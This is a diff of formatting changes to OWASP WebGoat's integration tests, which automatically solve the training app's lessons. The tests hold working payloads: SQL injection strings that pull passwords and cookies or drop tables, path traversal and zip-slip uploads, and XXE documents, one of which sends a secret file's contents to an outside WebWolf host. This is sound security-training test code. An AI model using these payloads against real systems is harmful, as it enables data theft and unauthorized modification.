@ -75,7 +74,9 @@ class PathTraversalIT extends IntegrationTest {
.post(url("/WebGoat/PathTraversal/profile-upload-fix")) .post(url("/WebGoat/PathTraversal/profile-upload-fix"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true)); .extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
} }
private void assignment3() throws IOException { private void assignment3() throws IOException {
@ -84,16 +85,22 @@ class PathTraversalIT extends IntegrationTest {
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.multiPart("uploadedFileRemoveUserInput", "../test.jpg", Files.readAllBytes(fileToUpload.toPath())) .multiPart(
"uploadedFileRemoveUserInput",
"../test.jpg",
Files.readAllBytes(fileToUpload.toPath()))
.post(url("/WebGoat/PathTraversal/profile-upload-remove-user-input")) .post(url("/WebGoat/PathTraversal/profile-upload-remove-user-input"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true)); .extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
} }
private void assignment4() throws IOException { private void assignment4() throws IOException {
var uri = "/WebGoat/PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret"; var uri = "/WebGoat/PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret";
RestAssured.given().urlEncodingEnabled(false) RestAssured.given()
.urlEncodingEnabled(false)
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
@ -102,13 +109,16 @@ class PathTraversalIT extends IntegrationTest {
.statusCode(200) .statusCode(200)
.body(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer")); .body(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer"));
checkAssignment(url("/WebGoat/PathTraversal/random"), Map.of("secret", checkAssignment(
Sha512DigestUtils.shaHex(this.getUser())), true); url("/WebGoat/PathTraversal/random"),
Map.of("secret", Sha512DigestUtils.shaHex(this.getUser())),
true);
} }
private void assignment5() throws IOException { private void assignment5() throws IOException {
var webGoatHome = webGoatServerDirectory() + "PathTraversal/" + this.getUser(); var webGoatHome = webGoatServerDirectory() + "PathTraversal/" + this.getUser();
webGoatHome = webGoatHome.replaceAll("^[a-zA-Z]:", ""); //Remove C: from the home directory on Windows webGoatHome =
webGoatHome.replaceAll("^[a-zA-Z]:", ""); // Remove C: from the home directory on Windows
var webGoatDirectory = new File(webGoatHome); var webGoatDirectory = new File(webGoatHome);
var zipFile = new File(tempDir.toFile(), "upload.zip"); var zipFile = new File(tempDir.toFile(), "upload.zip");
@ -126,12 +136,15 @@ class PathTraversalIT extends IntegrationTest {
.post(url("/WebGoat/PathTraversal/zip-slip")) .post(url("/WebGoat/PathTraversal/zip-slip"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true)); .extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
} }
@AfterEach @AfterEach
void shutdown() { void shutdown() {
//this will run only once after the list of dynamic tests has run, this is to test if the lesson is marked complete // this will run only once after the list of dynamic tests has run, this is to test if the
// lesson is marked complete
checkResults("/PathTraversal"); checkResults("/PathTraversal");
} }
} }

View File

@ -2,10 +2,6 @@ package org.owasp.webgoat;
import io.restassured.RestAssured; import io.restassured.RestAssured;
import io.restassured.response.Response; import io.restassured.response.Response;
import org.assertj.core.api.Assertions;
import org.junit.jupiter.api.Test;
import java.util.List; import java.util.List;
import java.util.Map; import java.util.Map;
import java.util.concurrent.Callable; import java.util.concurrent.Callable;
@ -14,6 +10,8 @@ import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors; import java.util.concurrent.Executors;
import java.util.stream.Collectors; import java.util.stream.Collectors;
import java.util.stream.IntStream; import java.util.stream.IntStream;
import org.assertj.core.api.Assertions;
import org.junit.jupiter.api.Test;
public class ProgressRaceConditionIntegrationTest extends IntegrationTest { public class ProgressRaceConditionIntegrationTest extends IntegrationTest {
@ -23,7 +21,8 @@ public class ProgressRaceConditionIntegrationTest extends IntegrationTest {
int NUMBER_OF_PARALLEL_THREADS = 5; int NUMBER_OF_PARALLEL_THREADS = 5;
startLesson("Challenge1"); startLesson("Challenge1");
Callable<Response> call = () -> { Callable<Response> call =
() -> {
// System.out.println("thread "+Thread.currentThread().getName()); // System.out.println("thread "+Thread.currentThread().getName());
return RestAssured.given() return RestAssured.given()
.when() .when()
@ -31,14 +30,17 @@ public class ProgressRaceConditionIntegrationTest extends IntegrationTest {
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.formParams(Map.of("flag", "test")) .formParams(Map.of("flag", "test"))
.post(url("/challenge/flag/")); .post(url("/challenge/flag/"));
}; };
ExecutorService executorService = Executors.newWorkStealingPool(NUMBER_OF_PARALLEL_THREADS); ExecutorService executorService = Executors.newWorkStealingPool(NUMBER_OF_PARALLEL_THREADS);
List<? extends Callable<Response>> flagCalls = IntStream.range(0, NUMBER_OF_CALLS).mapToObj(i -> call).collect(Collectors.toList()); List<? extends Callable<Response>> flagCalls =
IntStream.range(0, NUMBER_OF_CALLS).mapToObj(i -> call).collect(Collectors.toList());
var responses = executorService.invokeAll(flagCalls); var responses = executorService.invokeAll(flagCalls);
// A certain amount of parallel calls should fail as optimistic locking in DB is applied // A certain amount of parallel calls should fail as optimistic locking in DB is applied
long countStatusCode500 = responses.stream().filter(r -> { long countStatusCode500 =
responses.stream()
.filter(
r -> {
try { try {
// System.err.println(r.get().getStatusCode()); // System.err.println(r.get().getStatusCode());
return r.get().getStatusCode() != 200; return r.get().getStatusCode() != 200;
@ -46,8 +48,10 @@ public class ProgressRaceConditionIntegrationTest extends IntegrationTest {
// System.err.println(e); // System.err.println(e);
throw new IllegalStateException(e); throw new IllegalStateException(e);
} }
}).count(); })
.count();
System.err.println("counted status 500: " + countStatusCode500); System.err.println("counted status 500: " + countStatusCode500);
Assertions.assertThat(countStatusCode500).isLessThanOrEqualTo((NUMBER_OF_CALLS - (NUMBER_OF_CALLS/NUMBER_OF_PARALLEL_THREADS))); Assertions.assertThat(countStatusCode500)
.isLessThanOrEqualTo((NUMBER_OF_CALLS - (NUMBER_OF_CALLS / NUMBER_OF_PARALLEL_THREADS)));
} }
} }

View File

@ -3,7 +3,6 @@ package org.owasp.webgoat;
import java.io.IOException; import java.io.IOException;
import java.util.HashMap; import java.util.HashMap;
import java.util.Map; import java.util.Map;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
public class SSRFIntegrationTest extends IntegrationTest { public class SSRFIntegrationTest extends IntegrationTest {
@ -23,8 +22,5 @@ public class SSRFIntegrationTest extends IntegrationTest {
checkAssignment(url("/WebGoat/SSRF/task2"), params, true); checkAssignment(url("/WebGoat/SSRF/task2"), params, true);
checkResults("/SSRF/"); checkResults("/SSRF/");
} }
} }

View File

@ -24,24 +24,22 @@
package org.owasp.webgoat; package org.owasp.webgoat;
import java.util.Map; import java.util.Map;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
/** /**
*
* @author Angel Olle Blazquez * @author Angel Olle Blazquez
*
*/ */
class SessionManagementIT extends IntegrationTest { class SessionManagementIT extends IntegrationTest {
private static final String HIJACK_LOGIN_CONTEXT_PATH = "/WebGoat/HijackSession/login"; private static final String HIJACK_LOGIN_CONTEXT_PATH = "/WebGoat/HijackSession/login";
@Test @Test
void hijackSessionTest() { void hijackSessionTest() {
startLesson("HijackSession"); startLesson("HijackSession");
checkAssignment(url(HIJACK_LOGIN_CONTEXT_PATH), Map.of("username", "webgoat", "password", "webgoat"), false); checkAssignment(
url(HIJACK_LOGIN_CONTEXT_PATH),
Map.of("username", "webgoat", "password", "webgoat"),
false);
} }
} }

View File

@ -2,7 +2,6 @@ package org.owasp.webgoat;
import java.util.HashMap; import java.util.HashMap;
import java.util.Map; import java.util.Map;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest { public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest {
@ -29,7 +28,10 @@ public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest {
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true); checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true);
params.clear(); params.clear();
params.put("userid_6a", "Smith' union select userid,user_name, user_name,user_name,password,cookie,userid from user_system_data --"); params.put(
"userid_6a",
"Smith' union select userid,user_name, user_name,user_name,password,cookie,userid from"
+ " user_system_data --");
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true); checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true);
params.clear(); params.clear();
@ -37,11 +39,21 @@ public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest {
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6b"), params, true); checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6b"), params, true);
params.clear(); params.clear();
params.put("question_0_solution", "Solution 4: A statement has got values instead of a prepared statement"); params.put(
"question_0_solution",
"Solution 4: A statement has got values instead of a prepared statement");
params.put("question_1_solution", "Solution 3: ?"); params.put("question_1_solution", "Solution 3: ?");
params.put("question_2_solution", "Solution 2: Prepared statements are compiled once by the database management system waiting for input and are pre-compiled this way."); params.put(
params.put("question_3_solution", "Solution 3: Placeholders can prevent that the users input gets attached to the SQL query resulting in a seperation of code and data."); "question_2_solution",
params.put("question_4_solution", "Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'."); "Solution 2: Prepared statements are compiled once by the database management system"
+ " waiting for input and are pre-compiled this way.");
params.put(
"question_3_solution",
"Solution 3: Placeholders can prevent that the users input gets attached to the SQL query"
+ " resulting in a seperation of code and data.");
params.put(
"question_4_solution",
"Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.");
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/quiz"), params, true); checkAssignment(url("/WebGoat/SqlInjectionAdvanced/quiz"), params, true);
checkResults("/SqlInjectionAdvanced/"); checkResults("/SqlInjectionAdvanced/");

View File

@ -2,13 +2,13 @@ package org.owasp.webgoat;
import java.util.HashMap; import java.util.HashMap;
import java.util.Map; import java.util.Map;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
public class SqlInjectionLessonIntegrationTest extends IntegrationTest { public class SqlInjectionLessonIntegrationTest extends IntegrationTest {
public static final String sql_2 = "select department from employees where last_name='Franco'"; public static final String sql_2 = "select department from employees where last_name='Franco'";
public static final String sql_3 = "update employees set department='Sales' where last_name='Barnett'"; public static final String sql_3 =
"update employees set department='Sales' where last_name='Barnett'";
public static final String sql_4_drop = "alter table employees drop column phone"; public static final String sql_4_drop = "alter table employees drop column phone";
public static final String sql_4_add = "alter table employees add column phone varchar(20)"; public static final String sql_4_add = "alter table employees add column phone varchar(20)";
public static final String sql_5 = "grant select on grant_rights to unauthorized_user"; public static final String sql_5 = "grant select on grant_rights to unauthorized_user";
@ -22,7 +22,8 @@ public class SqlInjectionLessonIntegrationTest extends IntegrationTest {
public static final String sql_11_b = "3SL99A' or '1'='1"; public static final String sql_11_b = "3SL99A' or '1'='1";
public static final String sql_12_a = "Smith"; public static final String sql_12_a = "Smith";
public static final String sql_12_b = "3SL99A' ; update employees set salary= '100000' where last_name='Smith"; public static final String sql_12_b =
"3SL99A' ; update employees set salary= '100000' where last_name='Smith";
public static final String sql_13 = "%update% '; drop table access_log ; --'"; public static final String sql_13 = "%update% '; drop table access_log ; --'";
@ -73,6 +74,5 @@ public class SqlInjectionLessonIntegrationTest extends IntegrationTest {
checkAssignment(url("/WebGoat/SqlInjection/attack10"), params, true); checkAssignment(url("/WebGoat/SqlInjection/attack10"), params, true);
checkResults("/SqlInjection/"); checkResults("/SqlInjection/");
} }
} }

View File

@ -1,15 +1,13 @@
package org.owasp.webgoat; package org.owasp.webgoat;
import static org.hamcrest.CoreMatchers.containsString;
import io.restassured.RestAssured; import io.restassured.RestAssured;
import io.restassured.http.ContentType; import io.restassured.http.ContentType;
import java.util.HashMap; import java.util.HashMap;
import java.util.Map; import java.util.Map;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
import static org.hamcrest.CoreMatchers.containsString;
public class SqlInjectionMitigationIntegrationTest extends IntegrationTest { public class SqlInjectionMitigationIntegrationTest extends IntegrationTest {
@Test @Test
@ -27,39 +25,56 @@ public class SqlInjectionMitigationIntegrationTest extends IntegrationTest {
params.put("field7", "prep.setString(2,\\\"\\\")"); params.put("field7", "prep.setString(2,\\\"\\\")");
checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10a"), params, true); checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10a"), params, true);
params.put("editor", "try {\r\n" + params.put(
" Connection conn = DriverManager.getConnection(DBURL,DBUSER,DBPW);\r\n" + "editor",
" PreparedStatement prep = conn.prepareStatement(\"select id from users where name = ?\");\r\n" + "try {\r\n"
" prep.setString(1,\"me\");\r\n" + + " Connection conn = DriverManager.getConnection(DBURL,DBUSER,DBPW);\r\n"
" prep.execute();\r\n" + + " PreparedStatement prep = conn.prepareStatement(\"select id from users where name"
" System.out.println(conn); //should output 'null'\r\n" + + " = ?\");\r\n"
"} catch (Exception e) {\r\n" + + " prep.setString(1,\"me\");\r\n"
" System.out.println(\"Oops. Something went wrong!\");\r\n" + + " prep.execute();\r\n"
"}"); + " System.out.println(conn); //should output 'null'\r\n"
+ "} catch (Exception e) {\r\n"
+ " System.out.println(\"Oops. Something went wrong!\");\r\n"
+ "}");
checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10b"), params, true); checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10b"), params, true);
params.clear(); params.clear();
params.put("userid_sql_only_input_validation", "Smith';SELECT/**/*/**/from/**/user_system_data;--"); params.put(
"userid_sql_only_input_validation", "Smith';SELECT/**/*/**/from/**/user_system_data;--");
checkAssignment(url("/WebGoat/SqlOnlyInputValidation/attack"), params, true); checkAssignment(url("/WebGoat/SqlOnlyInputValidation/attack"), params, true);
params.clear(); params.clear();
params.put("userid_sql_only_input_validation_on_keywords", "Smith';SESELECTLECT/**/*/**/FRFROMOM/**/user_system_data;--"); params.put(
"userid_sql_only_input_validation_on_keywords",
"Smith';SESELECTLECT/**/*/**/FRFROMOM/**/user_system_data;--");
checkAssignment(url("/WebGoat/SqlOnlyInputValidationOnKeywords/attack"), params, true); checkAssignment(url("/WebGoat/SqlOnlyInputValidationOnKeywords/attack"), params, true);
RestAssured.given() RestAssured.given()
.when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie()) .when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
.get(url("/WebGoat/SqlInjectionMitigations/servers?column=(case when (true) then hostname else id end)")) .get(
url(
"/WebGoat/SqlInjectionMitigations/servers?column=(case when (true) then hostname"
+ " else id end)"))
.then() .then()
.statusCode(200); .statusCode(200);
RestAssured.given() RestAssured.given()
.when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie()) .when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
.get(url("/WebGoat/SqlInjectionMitigations/servers?column=unknown")) .get(url("/WebGoat/SqlInjectionMitigations/servers?column=unknown"))
.then() .then()
.statusCode(500) .statusCode(500)
.body("trace", containsString("select id, hostname, ip, mac, status, description from SERVERS where status <> 'out of order' order by")); .body(
"trace",
containsString(
"select id, hostname, ip, mac, status, description from SERVERS where status <>"
+ " 'out of order' order by"));
params.clear(); params.clear();
params.put("ip", "104.130.219.202"); params.put("ip", "104.130.219.202");

View File

@ -2,14 +2,12 @@ package org.owasp.webgoat;
import static org.junit.jupiter.api.Assertions.assertTrue; import static org.junit.jupiter.api.Assertions.assertTrue;
import io.restassured.RestAssured;
import java.io.IOException; import java.io.IOException;
import java.util.HashMap; import java.util.HashMap;
import java.util.Map; import java.util.Map;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
import io.restassured.RestAssured;
public class WebWolfIntegrationTest extends IntegrationTest { public class WebWolfIntegrationTest extends IntegrationTest {
@Test @Test
@ -22,16 +20,23 @@ public class WebWolfIntegrationTest extends IntegrationTest {
params.put("email", this.getUser() + "@webgoat.org"); params.put("email", this.getUser() + "@webgoat.org");
checkAssignment(url("/WebGoat/WebWolf/mail/send"), params, false); checkAssignment(url("/WebGoat/WebWolf/mail/send"), params, false);
String responseBody = RestAssured.given() String responseBody =
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie()) .cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/WebWolf/mail")) .get(webWolfUrl("/WebWolf/mail"))
.then() .then()
.extract().response().getBody().asString(); .extract()
.response()
.getBody()
.asString();
String uniqueCode = responseBody.replace("%20", " "); String uniqueCode = responseBody.replace("%20", " ");
uniqueCode = uniqueCode.substring(21+uniqueCode.lastIndexOf("your unique code is: "),uniqueCode.lastIndexOf("your unique code is: ")+(21+ this.getUser().length())); uniqueCode =
uniqueCode.substring(
21 + uniqueCode.lastIndexOf("your unique code is: "),
uniqueCode.lastIndexOf("your unique code is: ") + (21 + this.getUser().length()));
params.clear(); params.clear();
params.put("uniqueCode", uniqueCode); params.put("uniqueCode", uniqueCode);
checkAssignment(url("/WebGoat/WebWolf/mail"), params, true); checkAssignment(url("/WebGoat/WebWolf/mail"), params, true);
@ -53,20 +58,22 @@ public class WebWolfIntegrationTest extends IntegrationTest {
.get(webWolfUrl("/landing")) .get(webWolfUrl("/landing"))
.then() .then()
.statusCode(200); .statusCode(200);
responseBody = RestAssured.given() responseBody =
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie()) .cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/WebWolf/requests")) .get(webWolfUrl("/WebWolf/requests"))
.then() .then()
.extract().response().getBody().asString(); .extract()
.response()
.getBody()
.asString();
assertTrue(responseBody.contains(uniqueCode)); assertTrue(responseBody.contains(uniqueCode));
params.clear(); params.clear();
params.put("uniqueCode", uniqueCode); params.put("uniqueCode", uniqueCode);
checkAssignment(url("/WebGoat/WebWolf/landing"), params, true); checkAssignment(url("/WebGoat/WebWolf/landing"), params, true);
checkResults("/WebWolf"); checkResults("/WebWolf");
} }
} }

View File

@ -1,15 +1,12 @@
package org.owasp.webgoat; package org.owasp.webgoat;
import io.restassured.RestAssured; import io.restassured.RestAssured;
import java.util.HashMap; import java.util.HashMap;
import java.util.Map; import java.util.Map;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
public class XSSIntegrationTest extends IntegrationTest { public class XSSIntegrationTest extends IntegrationTest {
@Test @Test
public void crossSiteScriptingAssignments() { public void crossSiteScriptingAssignments() {
startLesson("CrossSiteScripting"); startLesson("CrossSiteScripting");
@ -47,7 +44,8 @@ public class XSSIntegrationTest extends IntegrationTest {
.post(url("/CrossSiteScripting/phone-home-xss")) .post(url("/CrossSiteScripting/phone-home-xss"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract().path("output"); .extract()
.path("output");
String secretNumber = result.substring("phoneHome Response is ".length()); String secretNumber = result.substring("phoneHome Response is ".length());
params.clear(); params.clear();
@ -55,14 +53,28 @@ public class XSSIntegrationTest extends IntegrationTest {
checkAssignment(url("/CrossSiteScripting/dom-follow-up"), params, true); checkAssignment(url("/CrossSiteScripting/dom-follow-up"), params, true);
params.clear(); params.clear();
params.put("question_0_solution", "Solution 4: No because the browser trusts the website if it is acknowledged trusted, then the browser does not know that the script is malicious."); params.put(
params.put("question_1_solution", "Solution 3: The data is included in dynamic content that is sent to a web user without being validated for malicious content."); "question_0_solution",
params.put("question_2_solution", "Solution 1: The script is permanently stored on the server and the victim gets the malicious script when requesting information from the server."); "Solution 4: No because the browser trusts the website if it is acknowledged trusted, then"
params.put("question_3_solution", "Solution 2: They reflect the injected script off the web server. That occurs when input sent to the web server is part of the request."); + " the browser does not know that the script is malicious.");
params.put("question_4_solution", "Solution 4: No there are many other ways. Like HTML, Flash or any other type of code that the browser executes."); params.put(
"question_1_solution",
"Solution 3: The data is included in dynamic content that is sent to a web user without"
+ " being validated for malicious content.");
params.put(
"question_2_solution",
"Solution 1: The script is permanently stored on the server and the victim gets the"
+ " malicious script when requesting information from the server.");
params.put(
"question_3_solution",
"Solution 2: They reflect the injected script off the web server. That occurs when input"
+ " sent to the web server is part of the request.");
params.put(
"question_4_solution",
"Solution 4: No there are many other ways. Like HTML, Flash or any other type of code that"
+ " the browser executes.");
checkAssignment(url("/CrossSiteScripting/quiz"), params, true); checkAssignment(url("/CrossSiteScripting/quiz"), params, true);
checkResults("/CrossSiteScripting/"); checkResults("/CrossSiteScripting/");
} }
} }

View File

@ -2,23 +2,30 @@ package org.owasp.webgoat;
import io.restassured.RestAssured; import io.restassured.RestAssured;
import io.restassured.http.ContentType; import io.restassured.http.ContentType;
import org.junit.jupiter.api.Test;
import java.io.IOException; import java.io.IOException;
import java.nio.file.Files; import java.nio.file.Files;
import java.nio.file.Path; import java.nio.file.Path;
import java.nio.file.Paths; import java.nio.file.Paths;
import org.junit.jupiter.api.Test;
public class XXEIntegrationTest extends IntegrationTest { public class XXEIntegrationTest extends IntegrationTest {
private static final String xxe3 = """ private static final String xxe3 =
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>"""; """
private static final String xxe4 = """ <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>"""; """;
private static final String dtd7 = """ private static final String xxe4 =
<?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;"""; """
private static final String xxe7 = """ <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>"""; """;
private static final String dtd7 =
"""
<?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;
""";
private static final String xxe7 =
"""
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>
""";
private String webGoatHomeDirectory; private String webGoatHomeDirectory;
private String webWolfFileServerLocation; private String webWolfFileServerLocation;
@ -40,7 +47,11 @@ public class XXEIntegrationTest extends IntegrationTest {
.statusCode(200); .statusCode(200);
checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, false); checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, false);
checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, false); checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, false);
checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", false); checkAssignment(
url("/WebGoat/xxe/blind"),
ContentType.XML,
"<comment><text>" + getSecret() + "</text></comment>",
false);
} }
/** /**
@ -56,7 +67,8 @@ public class XXEIntegrationTest extends IntegrationTest {
Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd"))); Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")));
} }
String secretFile = webGoatHomeDirectory.concat("/XXE/" + getUser() + "/secret.txt"); String secretFile = webGoatHomeDirectory.concat("/XXE/" + getUser() + "/secret.txt");
String dtd7String = dtd7.replace("WEBWOLFURL", webWolfUrl("/landing")).replace("SECRET", secretFile); String dtd7String =
dtd7.replace("WEBWOLFURL", webWolfUrl("/landing")).replace("SECRET", secretFile);
// upload DTD // upload DTD
RestAssured.given() RestAssured.given()
@ -66,22 +78,33 @@ public class XXEIntegrationTest extends IntegrationTest {
.multiPart("file", "blind.dtd", dtd7String.getBytes()) .multiPart("file", "blind.dtd", dtd7String.getBytes())
.post(webWolfUrl("/fileupload")) .post(webWolfUrl("/fileupload"))
.then() .then()
.extract().response().getBody().asString(); .extract()
.response()
.getBody()
.asString();
// upload attack // upload attack
String xxe7String = xxe7.replace("WEBWOLFURL", webWolfUrl("/files")).replace("USERNAME", this.getUser()); String xxe7String =
xxe7.replace("WEBWOLFURL", webWolfUrl("/files")).replace("USERNAME", this.getUser());
checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, xxe7String, false); checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, xxe7String, false);
// read results from WebWolf // read results from WebWolf
String result = RestAssured.given() String result =
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie()) .cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/WebWolf/requests")) .get(webWolfUrl("/WebWolf/requests"))
.then() .then()
.extract().response().getBody().asString(); .extract()
.response()
.getBody()
.asString();
result = result.replace("%20", " "); result = result.replace("%20", " ");
if (-1 != result.lastIndexOf("WebGoat 8.0 rocks... (")) { if (-1 != result.lastIndexOf("WebGoat 8.0 rocks... (")) {
result = result.substring(result.lastIndexOf("WebGoat 8.0 rocks... ("), result.lastIndexOf("WebGoat 8.0 rocks... (") + 33); result =
result.substring(
result.lastIndexOf("WebGoat 8.0 rocks... ("),
result.lastIndexOf("WebGoat 8.0 rocks... (") + 33);
} }
return result; return result;
} }
@ -93,7 +116,11 @@ public class XXEIntegrationTest extends IntegrationTest {
webWolfFileServerLocation = getWebWolfFileServerLocation(); webWolfFileServerLocation = getWebWolfFileServerLocation();
checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, true); checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, true);
checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, true); checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, true);
checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", true); checkAssignment(
url("/WebGoat/xxe/blind"),
ContentType.XML,
"<comment><text>" + getSecret() + "</text></comment>",
true);
checkResults("xxe/"); checkResults("xxe/");
} }
} }